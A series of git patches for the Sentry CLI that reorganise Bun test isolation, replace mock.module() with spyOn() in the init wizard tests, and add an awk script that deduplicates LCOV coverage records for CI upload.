expect(featureHint("unknownFeature")).toBeUndefined(); + }); +}); From 7488e86540af7776cdc9e6d287489bdea7dae1f6 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 2 Mar 2026 19:06:22 +0100 Subject: [PATCH 36/72] fix(ci): run isolated tests separately to avoid mock.module() leakage Bun's mock.module() leaks between test files in the same run. Keep test:unit and test:isolated as separate invocations, add coverage flags to test:isolated, and merge lcov reports before upload. Co-Authored-By: Claude Opus 4.6 --- .github/workflows/ci.yml | 7 +++++++ package.json | 6 +++--- 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 288de74f..3c370425 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -169,10 +169,17 @@ jobs: run: bun install --frozen-lockfile - name: Unit Tests run: bun run test:unit + - name: Save Unit Coverage + run: cp coverage/lcov.info coverage/unit-lcov.info + - name: Isolated Tests + run: bun run test:isolated + - name: Merge Coverage + run: cat coverage/unit-lcov.info coverage/lcov.info > coverage/merged-lcov.info - name: Upload Coverage uses: getsentry/codecov-action@main with: token: ${{ secrets.GITHUB_TOKEN }} + files: coverage/merged-lcov.info build-binary: name: Build Binary (${{ matrix.target }}) diff --git a/package.json b/package.json index 550f033c..7e11ca33 100644 --- a/package.json +++ b/package.json @@ -63,9 +63,9 @@ "typecheck": "tsc --noEmit", "lint": "bunx ultracite check", "lint:fix": "bunx ultracite fix", - "test": "bun run test:unit", - "test:unit": "bun test test/lib test/commands test/types test/isolated --coverage --coverage-reporter=lcov", - "test:isolated": "bun test test/isolated", + "test": "bun run test:unit && bun run test:isolated", + "test:unit": "bun test test/lib test/commands test/types --coverage --coverage-reporter=lcov", + "test:isolated": "bun test test/isolated --coverage --coverage-reporter=lcov", "test:e2e": "bun test test/e2e", "test:init-eval": "bun test test/init-eval --timeout 600000 --concurrency 6", "generate:skill": "bun run script/generate-skill.ts", From 2124e9995a45750cb9b5e6940607494e8f10d719 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 2 Mar 2026 19:16:25 +0100 Subject: [PATCH 37/72] fix(test): move init-command test out of isolated to avoid mock leakage MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The init-command test's mock.module() for interactive.js was poisoning init-interactive.test.ts in the same bun test run. Moved to test/commands/ with a single wizard-runner.js mock instead of 7 redundant mocks — no other test in test/commands/ depends on that module. Co-Authored-By: Claude Opus 4.6 --- test/commands/init.test.ts | 142 ++++++++++++++++++++ test/isolated/init-command.test.ts | 203 ----------------------------- 2 files changed, 142 insertions(+), 203 deletions(-) create mode 100644 test/commands/init.test.ts delete mode 100644 test/isolated/init-command.test.ts diff --git a/test/commands/init.test.ts b/test/commands/init.test.ts new file mode 100644 index 00000000..f11da08a --- /dev/null +++ b/test/commands/init.test.ts @@ -0,0 +1,142 @@ +/** + * Tests for the `sentry init` command entry point. + * + * Mocks only wizard-runner.js to break the circular import chain + * (init.ts → wizard-runner.js → help.js → app.ts → init.ts) + * and capture the arguments passed to runWizard. + */ + +import { beforeEach, describe, expect, mock, test } from "bun:test"; +import path from "node:path"; + +// ── Mock wizard-runner to capture runWizard call args ───────────────────── +let capturedArgs: Record | undefined; + +mock.module("../../src/lib/init/wizard-runner.js", () => ({ + runWizard: mock((args: Record) => { + capturedArgs = args; + return Promise.resolve(); + }), +})); + +const { initCommand } = await import("../../src/commands/init.js"); + +const func = (await initCommand.loader()) as ( + this: { + cwd: string; + stdout: { write: () => boolean }; + stderr: { write: () => boolean }; + stdin: typeof process.stdin; + }, + flags: Record, + directory?: string +) => Promise; + +function makeContext(cwd = "/projects/app") { + return { + cwd, + stdout: { write: () => true }, + stderr: { write: () => true }, + stdin: process.stdin, + }; +} + +beforeEach(() => { + capturedArgs = undefined; +}); + +describe("init command func", () => { + describe("features parsing", () => { + test("splits comma-separated features", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + features: "errors,tracing,logs", + }); + + expect(capturedArgs?.features).toEqual(["errors", "tracing", "logs"]); + }); + + test("trims whitespace from features", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + features: " errors , tracing ", + }); + + expect(capturedArgs?.features).toEqual(["errors", "tracing"]); + }); + + test("filters empty segments", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + features: "errors,,tracing,", + }); + + expect(capturedArgs?.features).toEqual(["errors", "tracing"]); + }); + + test("passes undefined when features not provided", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + }); + + expect(capturedArgs?.features).toBeUndefined(); + }); + }); + + describe("directory resolution", () => { + test("defaults to cwd when no directory provided", async () => { + const ctx = makeContext("/projects/app"); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + }); + + expect(capturedArgs?.directory).toBe("/projects/app"); + }); + + test("resolves relative directory against cwd", async () => { + const ctx = makeContext("/projects/app"); + await func.call( + ctx, + { + force: false, + yes: true, + "dry-run": false, + }, + "sub/dir" + ); + + expect(capturedArgs?.directory).toBe( + path.resolve("/projects/app", "sub/dir") + ); + }); + }); + + describe("flag forwarding", () => { + test("forwards force, yes, and dry-run flags", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: true, + yes: true, + "dry-run": true, + }); + + expect(capturedArgs?.force).toBe(true); + expect(capturedArgs?.yes).toBe(true); + expect(capturedArgs?.dryRun).toBe(true); + }); + }); +}); diff --git a/test/isolated/init-command.test.ts b/test/isolated/init-command.test.ts deleted file mode 100644 index a62634e2..00000000 --- a/test/isolated/init-command.test.ts +++ /dev/null @@ -1,203 +0,0 @@ -/** - * Isolated tests for the `sentry init` command entry point. - * - * Mocks the same modules as init-wizard-runner.test.ts to avoid - * mock.module() cross-file interference in bun's test runner. - */ - -import { beforeEach, describe, expect, mock, test } from "bun:test"; -import path from "node:path"; - -// ── Clack mocks (must match wizard-runner test to avoid leakage) ───────── -const spinnerMock = { start: mock(), stop: mock(), message: mock() }; - -mock.module("@clack/prompts", () => ({ - spinner: () => spinnerMock, - intro: mock(), - log: { info: mock(), warn: mock(), error: mock() }, - cancel: mock(), - note: mock(), - outro: mock(), - select: mock(), - multiselect: mock(), - confirm: mock(), - isCancel: (v: unknown) => v === Symbol.for("cancel"), -})); - -// ── Handler mocks ──────────────────────────────────────────────────────── -mock.module("../../src/lib/init/local-ops.js", () => ({ - handleLocalOp: mock(() => - Promise.resolve({ ok: true, data: { results: [] } }) - ), - validateCommand: () => { - /* noop mock */ - }, -})); - -mock.module("../../src/lib/init/interactive.js", () => ({ - handleInteractive: mock(() => Promise.resolve({ action: "continue" })), -})); - -mock.module("../../src/lib/init/formatters.js", () => ({ - formatResult: mock(), - formatError: mock(), -})); - -mock.module("../../src/lib/db/auth.js", () => ({ - getAuthToken: () => "fake-token", - isAuthenticated: () => Promise.resolve(false), -})); - -mock.module("../../src/lib/help.js", () => ({ - formatBanner: () => "BANNER", -})); - -// ── MastraClient mock — startAsync captures the runWizard call args ────── -let capturedInputData: Record | undefined; - -mock.module("@mastra/client-js", () => ({ - MastraClient: class { - getWorkflow() { - return { - createRun: () => - Promise.resolve({ - startAsync: ({ - inputData, - }: { - inputData: Record; - }) => { - capturedInputData = inputData; - return Promise.resolve({ status: "success" }); - }, - resumeAsync: () => Promise.resolve({ status: "success" }), - }), - }; - } - }, -})); - -const { initCommand } = await import("../../src/commands/init.js"); - -const func = (await initCommand.loader()) as ( - this: { - cwd: string; - stdout: { write: () => boolean }; - stderr: { write: () => boolean }; - stdin: typeof process.stdin; - }, - flags: Record, - directory?: string -) => Promise; - -function makeContext(cwd = "/projects/app") { - return { - cwd, - stdout: { write: () => true }, - stderr: { write: () => true }, - stdin: process.stdin, - }; -} - -beforeEach(() => { - capturedInputData = undefined; -}); - -describe("init command func", () => { - describe("features parsing", () => { - test("splits comma-separated features", async () => { - const ctx = makeContext(); - await func.call(ctx, { - force: false, - yes: true, - "dry-run": false, - features: "errors,tracing,logs", - }); - - expect(capturedInputData?.features).toEqual([ - "errors", - "tracing", - "logs", - ]); - }); - - test("trims whitespace from features", async () => { - const ctx = makeContext(); - await func.call(ctx, { - force: false, - yes: true, - "dry-run": false, - features: " errors , tracing ", - }); - - expect(capturedInputData?.features).toEqual(["errors", "tracing"]); - }); - - test("filters empty segments", async () => { - const ctx = makeContext(); - await func.call(ctx, { - force: false, - yes: true, - "dry-run": false, - features: "errors,,tracing,", - }); - - expect(capturedInputData?.features).toEqual(["errors", "tracing"]); - }); - - test("passes undefined when features not provided", async () => { - const ctx = makeContext(); - await func.call(ctx, { - force: false, - yes: true, - "dry-run": false, - }); - - expect(capturedInputData?.features).toBeUndefined(); - }); - }); - - describe("directory resolution", () => { - test("defaults to cwd when no directory provided", async () => { - const ctx = makeContext("/projects/app"); - await func.call(ctx, { - force: false, - yes: true, - "dry-run": false, - }); - - expect(capturedInputData?.directory).toBe("/projects/app"); - }); - - test("resolves relative directory against cwd", async () => { - const ctx = makeContext("/projects/app"); - await func.call( - ctx, - { - force: false, - yes: true, - "dry-run": false, - }, - "sub/dir" - ); - - expect(capturedInputData?.directory).toBe( - path.resolve("/projects/app", "sub/dir") - ); - }); - }); - - describe("flag forwarding", () => { - test("forwards force, yes, and dry-run flags", async () => { - const ctx = makeContext(); - await func.call(ctx, { - force: true, - yes: true, - "dry-run": true, - }); - - expect(capturedInputData?.force).toBe(true); - expect(capturedInputData?.yes).toBe(true); - expect(capturedInputData?.dryRun).toBe(true); - }); - }); -}); From 0f0f61a8789f5600adbe5de0953a71421bb6f768 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 2 Mar 2026 19:35:50 +0100 Subject: [PATCH 38/72] fix(test): run each isolated test file in its own bun process bun's mock.module() leaks across files when run in a single process. Run each test/isolated/*.test.ts file in its own bun test invocation to ensure true mock isolation, accumulating LCOV coverage for CI. Co-Authored-By: Claude Opus 4.6 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 7e11ca33..69cce93e 100644 --- a/package.json +++ b/package.json @@ -65,7 +65,7 @@ "lint:fix": "bunx ultracite fix", "test": "bun run test:unit && bun run test:isolated", "test:unit": "bun test test/lib test/commands test/types --coverage --coverage-reporter=lcov", - "test:isolated": "bun test test/isolated --coverage --coverage-reporter=lcov", + "test:isolated": "rm -f coverage/_iso.info && for f in $(find test/isolated -name '*.test.ts' | sort); do bun test \"$f\" --coverage --coverage-reporter=lcov || exit 1; cat coverage/lcov.info >> coverage/_iso.info; done && mv coverage/_iso.info coverage/lcov.info", "test:e2e": "bun test test/e2e", "test:init-eval": "bun test test/init-eval --timeout 600000 --concurrency 6", "generate:skill": "bun run script/generate-skill.ts", From 07905aa8fed066b0aa3162fb1e3b0f45b435e4bd Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 2 Mar 2026 19:48:21 +0100 Subject: [PATCH 39/72] fix(test): merge duplicate LCOV entries from per-file isolated runs Running each isolated test in its own bun process produces overlapping coverage for shared source files. Concatenating these LCOV files created duplicate SF entries that codecov counted as separate files, inflating line counts and dropping project coverage from 80% to 51%. Add script/merge-lcov.sh (awk) to deduplicate by source file, taking the max hit count per line, so codecov sees 51 unique files instead of 133 duplicate entries. Co-Authored-By: Claude Opus 4.6 --- package.json | 2 +- script/merge-lcov.sh | 37 +++++++++++++++++++++++++++++++++++++ 2 files changed, 38 insertions(+), 1 deletion(-) create mode 100755 script/merge-lcov.sh diff --git a/package.json b/package.json index 69cce93e..89151362 100644 --- a/package.json +++ b/package.json @@ -65,7 +65,7 @@ "lint:fix": "bunx ultracite fix", "test": "bun run test:unit && bun run test:isolated", "test:unit": "bun test test/lib test/commands test/types --coverage --coverage-reporter=lcov", - "test:isolated": "rm -f coverage/_iso.info && for f in $(find test/isolated -name '*.test.ts' | sort); do bun test \"$f\" --coverage --coverage-reporter=lcov || exit 1; cat coverage/lcov.info >> coverage/_iso.info; done && mv coverage/_iso.info coverage/lcov.info", + "test:isolated": "rm -f coverage/_iso.info && for f in $(find test/isolated -name '*.test.ts' | sort); do bun test \"$f\" --coverage --coverage-reporter=lcov || exit 1; cat coverage/lcov.info >> coverage/_iso.info; done && bash script/merge-lcov.sh coverage/_iso.info > coverage/lcov.info && rm coverage/_iso.info", "test:e2e": "bun test test/e2e", "test:init-eval": "bun test test/init-eval --timeout 600000 --concurrency 6", "generate:skill": "bun run script/generate-skill.ts", diff --git a/script/merge-lcov.sh b/script/merge-lcov.sh new file mode 100755 index 00000000..8b9e3ed1 --- /dev/null +++ b/script/merge-lcov.sh @@ -0,0 +1,37 @@ +#!/usr/bin/env bash +# Merges duplicate LCOV records for the same source file, taking the max hit +# count per line. Designed for bun's LCOV output (TN/SF/FNF/FNH/DA/LF/LH). +# Usage: merge-lcov.sh input.info > output.info + +awk ' +/^SF:/ { f = substr($0, 4) } +/^FNF:/ { v = substr($0, 5)+0; if (v > fnf[f]) fnf[f] = v } +/^FNH:/ { v = substr($0, 5)+0; if (v > fnh[f]) fnh[f] = v } +/^DA:/ { + split(substr($0, 4), a, ",") + k = f SUBSEP a[1] + v = a[2]+0 + if (!(k in d) || v > d[k]) d[k] = v + if (!(k in s)) { s[k] = 1; o[f] = o[f] " " a[1] } + F[f] = 1 +} +END { + for (f in F) { + print "TN:" + print "SF:" f + print "FNF:" fnf[f]+0 + print "FNH:" fnh[f]+0 + n = split(o[f], a, " ") + lf = 0; lh = 0 + for (i = 1; i <= n; i++) { + if (a[i] == "") continue + k = f SUBSEP a[i] + print "DA:" a[i] "," d[k] + lf++ + if (d[k] > 0) lh++ + } + print "LF:" lf + print "LH:" lh + print "end_of_record" + } +}' "$1" From 864fef6464fcc12b94ef77c17e962998a64b32d4 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 2 Mar 2026 20:28:45 +0100 Subject: [PATCH 40/72] refactor(test): replace mock.module() with spyOn() for init tests Convert init-interactive and init-wizard-runner tests from isolated mock.module() pattern to spyOn() on namespace imports, eliminating mock leakage without process isolation. Also fix CI coverage merge to deduplicate LCOV entries via merge-lcov.sh. Co-Authored-By: Claude Opus 4.6 --- .github/workflows/ci.yml | 4 +- .../init/interactive.test.ts} | 116 ++++--- .../init/wizard-runner.test.ts} | 291 ++++++++++-------- 3 files changed, 233 insertions(+), 178 deletions(-) rename test/{isolated/init-interactive.test.ts => lib/init/interactive.test.ts} (72%) rename test/{isolated/init-wizard-runner.test.ts => lib/init/wizard-runner.test.ts} (56%) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 3c370425..0f5c8a2d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -174,7 +174,9 @@ jobs: - name: Isolated Tests run: bun run test:isolated - name: Merge Coverage - run: cat coverage/unit-lcov.info coverage/lcov.info > coverage/merged-lcov.info + run: | + cat coverage/unit-lcov.info coverage/lcov.info > coverage/combined-lcov.info + bash script/merge-lcov.sh coverage/combined-lcov.info > coverage/merged-lcov.info - name: Upload Coverage uses: getsentry/codecov-action@main with: diff --git a/test/isolated/init-interactive.test.ts b/test/lib/init/interactive.test.ts similarity index 72% rename from test/isolated/init-interactive.test.ts rename to test/lib/init/interactive.test.ts index b20b63d5..e0943f72 100644 --- a/test/isolated/init-interactive.test.ts +++ b/test/lib/init/interactive.test.ts @@ -1,34 +1,28 @@ /** - * Isolated tests for init wizard interactive prompts. + * Interactive Dispatcher Tests * - * Uses mock.module() to stub @clack/prompts — kept isolated so the - * module-level mock does not leak into other test files. + * Tests for the init wizard interactive prompt handlers. Uses spyOn on + * @clack/prompts namespace to intercept calls from named imports. */ -import { beforeEach, describe, expect, mock, test } from "bun:test"; -import type { WizardOptions } from "../../src/lib/init/types.js"; - -// Controllable mock implementations — reset per test via beforeEach -let selectImpl: ReturnType; -let multiselectImpl: ReturnType; -let confirmImpl: ReturnType; -const logMock = { info: mock(), error: mock(), warn: mock() }; -const cancelMock = mock(); - -mock.module("@clack/prompts", () => ({ - select: (...args: unknown[]) => selectImpl(...args), - multiselect: (...args: unknown[]) => multiselectImpl(...args), - confirm: (...args: unknown[]) => confirmImpl(...args), - log: logMock, - cancel: (...args: unknown[]) => cancelMock(...args), - isCancel: (v: unknown) => v === Symbol.for("cancel"), - note: mock(), - outro: mock(), - intro: mock(), - spinner: () => ({ start: mock(), stop: mock(), message: mock() }), -})); - -const { handleInteractive } = await import("../../src/lib/init/interactive.js"); +import { afterEach, beforeEach, describe, expect, spyOn, test } from "bun:test"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as clack from "@clack/prompts"; +import { handleInteractive } from "../../../src/lib/init/interactive.js"; +import type { WizardOptions } from "../../../src/lib/init/types.js"; + +const noop = () => { + /* suppress clack output */ +}; + +let selectSpy: ReturnType; +let multiselectSpy: ReturnType; +let confirmSpy: ReturnType; +let logInfoSpy: ReturnType; +let logErrorSpy: ReturnType; +let logWarnSpy: ReturnType; +let cancelSpy: ReturnType; +let isCancelSpy: ReturnType; function makeOptions(overrides?: Partial): WizardOptions { return { @@ -44,13 +38,33 @@ function makeOptions(overrides?: Partial): WizardOptions { } beforeEach(() => { - selectImpl = mock(() => Promise.resolve("default")); - multiselectImpl = mock(() => Promise.resolve([])); - confirmImpl = mock(() => Promise.resolve(true)); - logMock.info.mockClear(); - logMock.error.mockClear(); - logMock.warn.mockClear(); - cancelMock.mockClear(); + selectSpy = spyOn(clack, "select").mockImplementation( + () => Promise.resolve("default") as any + ); + multiselectSpy = spyOn(clack, "multiselect").mockImplementation( + () => Promise.resolve([]) as any + ); + confirmSpy = spyOn(clack, "confirm").mockImplementation( + () => Promise.resolve(true) as any + ); + logInfoSpy = spyOn(clack.log, "info").mockImplementation(noop); + logErrorSpy = spyOn(clack.log, "error").mockImplementation(noop); + logWarnSpy = spyOn(clack.log, "warn").mockImplementation(noop); + cancelSpy = spyOn(clack, "cancel").mockImplementation(noop); + isCancelSpy = spyOn(clack, "isCancel").mockImplementation( + (v: unknown) => v === Symbol.for("cancel") + ); +}); + +afterEach(() => { + selectSpy.mockRestore(); + multiselectSpy.mockRestore(); + confirmSpy.mockRestore(); + logInfoSpy.mockRestore(); + logErrorSpy.mockRestore(); + logWarnSpy.mockRestore(); + cancelSpy.mockRestore(); + isCancelSpy.mockRestore(); }); describe("handleInteractive dispatcher", () => { @@ -76,7 +90,7 @@ describe("handleSelect", () => { ); expect(result).toEqual({ selectedApp: "my-app" }); - expect(logMock.info).toHaveBeenCalled(); + expect(logInfoSpy).toHaveBeenCalled(); }); test("cancels with --yes when multiple options exist", async () => { @@ -91,7 +105,7 @@ describe("handleSelect", () => { ); expect(result).toEqual({ cancelled: true }); - expect(logMock.error).toHaveBeenCalled(); + expect(logErrorSpy).toHaveBeenCalled(); }); test("cancels when options list is empty", async () => { @@ -123,7 +137,7 @@ describe("handleSelect", () => { }); test("calls clack select in interactive mode", async () => { - selectImpl = mock(() => Promise.resolve("vue")); + selectSpy.mockImplementation(() => Promise.resolve("vue") as any); const result = await handleInteractive( { @@ -136,11 +150,13 @@ describe("handleSelect", () => { ); expect(result).toEqual({ selectedApp: "vue" }); - expect(selectImpl).toHaveBeenCalled(); + expect(selectSpy).toHaveBeenCalled(); }); test("throws WizardCancelledError on user cancellation", async () => { - selectImpl = mock(() => Promise.resolve(Symbol.for("cancel"))); + selectSpy.mockImplementation( + () => Promise.resolve(Symbol.for("cancel")) as any + ); await expect( handleInteractive( @@ -195,7 +211,9 @@ describe("handleMultiSelect", () => { test("prepends errorMonitoring when available but not user-selected", async () => { // User selects only sessionReplay, but errorMonitoring is available (required) - multiselectImpl = mock(() => Promise.resolve(["sessionReplay"])); + multiselectSpy.mockImplementation( + () => Promise.resolve(["sessionReplay"]) as any + ); const result = await handleInteractive( { @@ -217,7 +235,9 @@ describe("handleMultiSelect", () => { }); test("throws WizardCancelledError when user cancels multi-select", async () => { - multiselectImpl = mock(() => Promise.resolve(Symbol.for("cancel"))); + multiselectSpy.mockImplementation( + () => Promise.resolve(Symbol.for("cancel")) as any + ); await expect( handleInteractive( @@ -233,7 +253,9 @@ describe("handleMultiSelect", () => { }); test("excludes errorMonitoring from multiselect options (always included)", async () => { - multiselectImpl = mock(() => Promise.resolve(["performanceMonitoring"])); + multiselectSpy.mockImplementation( + () => Promise.resolve(["performanceMonitoring"]) as any + ); await handleInteractive( { @@ -246,7 +268,7 @@ describe("handleMultiSelect", () => { ); // The options passed to multiselect should NOT include errorMonitoring - const callArgs = multiselectImpl.mock.calls[0][0] as { + const callArgs = multiselectSpy.mock.calls[0][0] as { options: Array<{ value: string }>; }; const values = callArgs.options.map((o: { value: string }) => o.value); @@ -283,7 +305,7 @@ describe("handleConfirm", () => { }); test("returns addExample based on user choice for example prompts", async () => { - confirmImpl = mock(() => Promise.resolve(false)); + confirmSpy.mockImplementation(() => Promise.resolve(false) as any); const result = await handleInteractive( { @@ -298,7 +320,9 @@ describe("handleConfirm", () => { }); test("throws WizardCancelledError when user cancels confirm", async () => { - confirmImpl = mock(() => Promise.resolve(Symbol.for("cancel"))); + confirmSpy.mockImplementation( + () => Promise.resolve(Symbol.for("cancel")) as any + ); await expect( handleInteractive( @@ -313,7 +337,7 @@ describe("handleConfirm", () => { }); test("returns action: stop when user declines non-example prompt", async () => { - confirmImpl = mock(() => Promise.resolve(false)); + confirmSpy.mockImplementation(() => Promise.resolve(false) as any); const result = await handleInteractive( { diff --git a/test/isolated/init-wizard-runner.test.ts b/test/lib/init/wizard-runner.test.ts similarity index 56% rename from test/isolated/init-wizard-runner.test.ts rename to test/lib/init/wizard-runner.test.ts index 519f0641..2bc10ae7 100644 --- a/test/isolated/init-wizard-runner.test.ts +++ b/test/lib/init/wizard-runner.test.ts @@ -1,105 +1,70 @@ /** - * Isolated tests for the init wizard runner. + * Wizard Runner Tests * - * Uses mock.module() to stub heavy dependencies (MastraClient, clack, handlers, - * auth, help). Kept isolated to avoid module-level mock leakage. + * Tests for the init wizard runner. Uses spyOn on namespace imports + * to stub heavy dependencies (MastraClient, clack, handlers, auth, help). */ -import { beforeEach, describe, expect, mock, spyOn, test } from "bun:test"; +import { + afterEach, + beforeEach, + describe, + expect, + mock, + spyOn, + test, +} from "bun:test"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as clack from "@clack/prompts"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as mastraModule from "@mastra/client-js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as authModule from "../../../src/lib/db/auth.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as helpModule from "../../../src/lib/help.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as formattersModule from "../../../src/lib/init/formatters.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as interactiveModule from "../../../src/lib/init/interactive.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as localOpsModule from "../../../src/lib/init/local-ops.js"; import type { WizardOptions, WorkflowRunResult, -} from "../../src/lib/init/types.js"; +} from "../../../src/lib/init/types.js"; +import { runWizard } from "../../../src/lib/init/wizard-runner.js"; -// ── Clack mocks ──────────────────────────────────────────────────────────── +const noop = () => { + /* suppress output */ +}; + +// ── Clack spinner mock ────────────────────────────────────────────────────── const spinnerMock = { start: mock(), stop: mock(), message: mock(), }; -const introMock = mock(); -const logMock = { info: mock(), warn: mock(), error: mock() }; -const cancelMock = mock(); - -mock.module("@clack/prompts", () => ({ - spinner: () => spinnerMock, - intro: introMock, - log: logMock, - cancel: cancelMock, - note: mock(), - outro: mock(), - select: mock(), - multiselect: mock(), - confirm: mock(), - isCancel: (v: unknown) => v === Symbol.for("cancel"), -})); - -// ── Handler mocks ────────────────────────────────────────────────────────── -const mockHandleLocalOp = mock(() => - Promise.resolve({ ok: true, data: { results: [] } }) -); -mock.module("../../src/lib/init/local-ops.js", () => ({ - handleLocalOp: mockHandleLocalOp, - validateCommand: () => { - /* noop mock */ - }, -})); - -const mockHandleInteractive = mock(() => - Promise.resolve({ action: "continue" }) -); -mock.module("../../src/lib/init/interactive.js", () => ({ - handleInteractive: mockHandleInteractive, -})); - -const mockFormatResult = mock(); -const mockFormatError = mock(); -mock.module("../../src/lib/init/formatters.js", () => ({ - formatResult: mockFormatResult, - formatError: mockFormatError, -})); - -mock.module("../../src/lib/db/auth.js", () => ({ - getAuthToken: () => "fake-token", - isAuthenticated: () => Promise.resolve(false), -})); - -mock.module("../../src/lib/help.js", () => ({ - formatBanner: () => "BANNER", -})); - -// ── MastraClient mock ────────────────────────────────────────────────────── -let mockStartResult: WorkflowRunResult = { status: "success" }; -let mockResumeResults: WorkflowRunResult[] = []; -let resumeCallCount = 0; -let startShouldThrow = false; - -mock.module("@mastra/client-js", () => ({ - MastraClient: class { - getWorkflow() { - return { - createRun: () => - Promise.resolve({ - startAsync: () => { - if (startShouldThrow) { - return Promise.reject(new Error("Connection refused")); - } - return Promise.resolve(mockStartResult); - }, - resumeAsync: () => { - const result = mockResumeResults[resumeCallCount] ?? { - status: "success", - }; - resumeCallCount += 1; - return Promise.resolve(result); - }, - }), - }; - } - }, -})); -const { runWizard } = await import("../../src/lib/init/wizard-runner.js"); +// ── Spy references ────────────────────────────────────────────────────────── +let spinnerSpy: ReturnType; +let introSpy: ReturnType; +let logInfoSpy: ReturnType; +let logWarnSpy: ReturnType; +let logErrorSpy: ReturnType; +let cancelSpy: ReturnType; +let handleLocalOpSpy: ReturnType; +let handleInteractiveSpy: ReturnType; +let formatResultSpy: ReturnType; +let formatErrorSpy: ReturnType; +let getAuthTokenSpy: ReturnType; +let formatBannerSpy: ReturnType; +let mastraClientSpy: ReturnType; + +// ── Workflow state ────────────────────────────────────────────────────────── +let mockStartResult: WorkflowRunResult; +let mockResumeResults: WorkflowRunResult[]; +let resumeCallCount: number; +let startShouldThrow: boolean; function makeOptions(overrides?: Partial): WizardOptions { return { @@ -114,29 +79,93 @@ function makeOptions(overrides?: Partial): WizardOptions { }; } -function resetAllMocks() { - spinnerMock.start.mockClear(); - spinnerMock.stop.mockClear(); - spinnerMock.message.mockClear(); - introMock.mockClear(); - logMock.info.mockClear(); - logMock.warn.mockClear(); - logMock.error.mockClear(); - cancelMock.mockClear(); - mockHandleLocalOp.mockClear(); - mockHandleInteractive.mockClear(); - mockFormatResult.mockClear(); - mockFormatError.mockClear(); - +beforeEach(() => { + // Reset workflow state mockStartResult = { status: "success" }; mockResumeResults = []; resumeCallCount = 0; startShouldThrow = false; -} -describe("runWizard", () => { - beforeEach(resetAllMocks); + // Clack spies + spinnerMock.start.mockClear(); + spinnerMock.stop.mockClear(); + spinnerMock.message.mockClear(); + + spinnerSpy = spyOn(clack, "spinner").mockReturnValue(spinnerMock as any); + introSpy = spyOn(clack, "intro").mockImplementation(noop); + logInfoSpy = spyOn(clack.log, "info").mockImplementation(noop); + logWarnSpy = spyOn(clack.log, "warn").mockImplementation(noop); + logErrorSpy = spyOn(clack.log, "error").mockImplementation(noop); + cancelSpy = spyOn(clack, "cancel").mockImplementation(noop); + + // Handler spies + handleLocalOpSpy = spyOn(localOpsModule, "handleLocalOp").mockImplementation( + () => Promise.resolve({ ok: true, data: { results: [] } }) as any + ); + handleInteractiveSpy = spyOn( + interactiveModule, + "handleInteractive" + ).mockImplementation(() => Promise.resolve({ action: "continue" }) as any); + + // Formatter spies + formatResultSpy = spyOn(formattersModule, "formatResult").mockImplementation( + noop + ); + formatErrorSpy = spyOn(formattersModule, "formatError").mockImplementation( + noop + ); + + // Auth & help spies + getAuthTokenSpy = spyOn(authModule, "getAuthToken").mockReturnValue( + "fake-token" as any + ); + formatBannerSpy = spyOn(helpModule, "formatBanner").mockReturnValue( + "BANNER" as any + ); + + // MastraClient spy — mockImplementation returns an object, so `new` uses it + mastraClientSpy = spyOn(mastraModule, "MastraClient").mockImplementation( + () => + ({ + getWorkflow: () => ({ + createRun: () => + Promise.resolve({ + startAsync: () => { + if (startShouldThrow) { + return Promise.reject(new Error("Connection refused")); + } + return Promise.resolve(mockStartResult); + }, + resumeAsync: () => { + const result = mockResumeResults[resumeCallCount] ?? { + status: "success", + }; + resumeCallCount += 1; + return Promise.resolve(result); + }, + }), + }), + }) as any + ); +}); +afterEach(() => { + spinnerSpy.mockRestore(); + introSpy.mockRestore(); + logInfoSpy.mockRestore(); + logWarnSpy.mockRestore(); + logErrorSpy.mockRestore(); + cancelSpy.mockRestore(); + handleLocalOpSpy.mockRestore(); + handleInteractiveSpy.mockRestore(); + formatResultSpy.mockRestore(); + formatErrorSpy.mockRestore(); + getAuthTokenSpy.mockRestore(); + formatBannerSpy.mockRestore(); + mastraClientSpy.mockRestore(); +}); + +describe("runWizard", () => { describe("TTY check", () => { test("writes error to stderr when not TTY and not --yes", async () => { const origIsTTY = process.stdin.isTTY; @@ -170,8 +199,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(mockFormatResult).toHaveBeenCalled(); - expect(mockFormatError).not.toHaveBeenCalled(); + expect(formatResultSpy).toHaveBeenCalled(); + expect(formatErrorSpy).not.toHaveBeenCalled(); }); }); @@ -181,8 +210,8 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(mockFormatError).toHaveBeenCalled(); - expect(mockFormatResult).not.toHaveBeenCalled(); + expect(formatErrorSpy).toHaveBeenCalled(); + expect(formatResultSpy).not.toHaveBeenCalled(); }); test("treats success with exitCode as error", async () => { @@ -193,7 +222,7 @@ describe("runWizard", () => { await runWizard(makeOptions()); - expect(mockFormatError).toHaveBeenCalled(); + expect(formatErrorSpy).toHaveBeenCalled(); 